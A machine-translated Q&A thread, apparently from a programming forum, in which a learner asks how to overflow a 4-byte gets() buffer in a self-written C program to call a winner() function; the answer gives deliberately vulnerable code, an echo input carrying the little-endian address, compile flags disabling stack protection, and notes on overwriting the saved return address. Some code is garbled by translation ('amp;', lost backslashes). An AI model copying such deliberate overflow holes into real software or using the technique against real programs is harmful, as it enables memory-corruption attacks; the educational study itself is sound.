Доступ к внешней функции с использованием ввода int от пользователя в C

#c #buffer #buffer-overflow

#c #buffer #buffer-переполнение

Вопрос:

Учитывая этот код:

 #include <stdio.h>
#include <stdlib.h>


void winner(){

    printf("I am a winner!");

}

int main()
{


    int B = 0;
    char A[4] = {};
    printf("Enter a string: ");
    gets( A );
    // your line goes here //
    return 0;
}
 

Можем ли мы изменить // line goes here // и заставить эту программу печатать «Я победитель» (используя, конечно, только входные A данные, которые мы получаем, и, возможно, переполнение буфера)? Это программа, которую я написал просто для того, чтобы поиграть с «переполнением буфера» и как это работает, но я не могу понять, как заставить ее работать, я попытался использовать эту строку:

 printf("%s", ((void * ) B) );
 

и

 printf("%s", amp;B);
 

Чтобы получить адрес — я просто запустил эту программу 2 раза, за один раз я напечатал ячейку памяти winner() , а затем скопировал ее. Но есть ли способ без предварительного просмотра адреса (потому что, возможно, адрес меняется?), Используя, возможно, отладчики?
Но безрезультатно, программа не печатает и не обращается к внешней функции.. иногда даже происходит сбой — почему?

  • Я написал это сам только для самообучения, и я не могу найти способ решить эту проблему (если есть способ.. Я не знаю ..)! с другой стороны, я не специалист по C, поэтому я подумал, что спрошу здесь. Спасибо!

Ответ №1:

Хм, в названии вашего вопроса это явно не отражено, вы пытались создать эксплойт переполнения буфера для вызова внешней функции.

Переполнение буфера с использованием уязвимых функций, таких как gets(), которые считывают входной поток до тех пор, пока не найдут нулевой ограничитель (игнорируя ограничение целевого буфера), В настоящее время смягчается с помощью ASLR, stack canaries и т. Д. На уровне компилятора.

 #include <stdio.h>
#include <stdlib.h>

void winner()
{
    printf("I am a winner!n");
}

int main()
{
    int B = 0;
    char A[4];

    printf("winner() function is at 0x%pn", amp;winner);
    printf("Enter 4 byte char array followed by target EIP addr in binary little endian format:n");

    gets(A);
    printf("Raw binary data at Integer B: 0x%pn", B);
    printf("Pointer to A: 0x%pn", A);
    printf("Pointer to B: 0x%pn", amp;B);
    if (B)
    {
        printf("Raw binary non-null data at Integer B: 0x%pn", B);
        void (*ptr)() = (void *)B;
        printf("Pointer data in ptr: 0x%pn", ptr);
        (*ptr)();
    }
    B = 0;
    const char *p = A;
    printf("Entered data at A: 0x");
    for (; *p != ''; p  )
        printf("%x", *p);
    printf("n");
    return 0;
}
 

Ввод и вывод для переполнения буфера

 echo -e 'aaaa' | ./a.exe

winner() function is at 0x00401460
Enter 4 byte char array followed by target EIP addr in binary little endian format:
Raw binary data at Integer B: 0x00000000
Pointer to A: 0x0061FF10
Pointer to B: 0x0061FF14
Entered data at A: 0x61616161
 

Ввод и вывод для переполнения буфера

 echo -e 'aaaax60x14x40x00' | ./a.exe   //the pointer to the function is obtained from previous execution and is input to the function in LITTLE ENDIAN format(0x00401460->x60x14x40x00). 

winner() function is at 0x00401460
Enter 4 byte char array followed by target EIP addr in binary little endian format:
Raw binary data at Integer B: 0x00401460
Pointer to A: 0x0061FF10
Pointer to B: 0x0061FF14
Raw binary non-null data at Integer B: 0x00401460
Pointer data in ptr: 0x00401460
I am a winner!                             //winner() function is invoked.
Entered data at A: 0x61616161
 

Параметры компиляции

 gcc -g main.c                         // -g flag is for debug compilation with symbols (non-optimized load/exe).
gcc -g main.c -fno-stack-protector    // -fno-stack-protector disables any protection mechanism usually deployed by the compiler.
 

Но для реализации такого типа эксплойтов:

  1. Защита стека должна быть отключена (ASLR, stack canaries и т.д.) во время компиляции.
  2. Целевая функция должна присутствовать в ожидаемом исполняемом / объектном файле, например, если на функцию нигде не ссылаются, оптимизирующий компилятор может проигнорировать ее, и она никогда не будет найдена.

Ключевые моменты:

  1. Архитектура x86 и x64 использует инструкции push и pop для сохранения состояний регистра во время вызова функции в новом стековом фрейме при вводе функции.
  2. Таким образом, EIP / RIP (указатель инструкции, который указывает на следующую инструкцию сборки для выполнения) можно манипулировать, чтобы указать на любой целевой адрес путем перезаписи сохраненных IP-данных (return addr) в stackframe.
  3. Местоположение сохраненного EIP (обратного адреса) во фрейме стека (на который указывает ESP-расширенный указатель стека) должно быть расположено в памяти для манипулирования.
  4. Необходимо найти целевой адрес, который содержит интересующий код, который должен присутствовать в памяти, если он находится в том же адресном пространстве или в другом адресном пространстве, например, в другой загруженной общей библиотеке DLL или другом exe-процессе.
  5. Тем не менее, существует вероятность сбоя текущей уязвимой программы, поскольку атака переполнения буфера может перезаписать всю структуру между буфером и сохраненным EIP во фрейме стека, данные сохраненного регистра повреждаются при восстановлении во время возврата функции.
  6. Кроме того, текущая программа должна вернуть управление, чтобы продолжить работу без прерывания. Таким образом, элемент управления из функции эксплойта должен вернуться обратно к вызывающей функции или ее родительскому элементу.
  7. Обратите внимание, что фрейм стека растет от более высокого диапазона памяти к более низкому, поэтому локальные переменные помещаются в стек в порядке, обратном порядку объявления.
    Ex: int B; char A[4] will be placed as:  
   (char A[4]) 0x------10 ____ (4-byte char data)   
   (int B)     0x------14 ____ (4-byte integer data)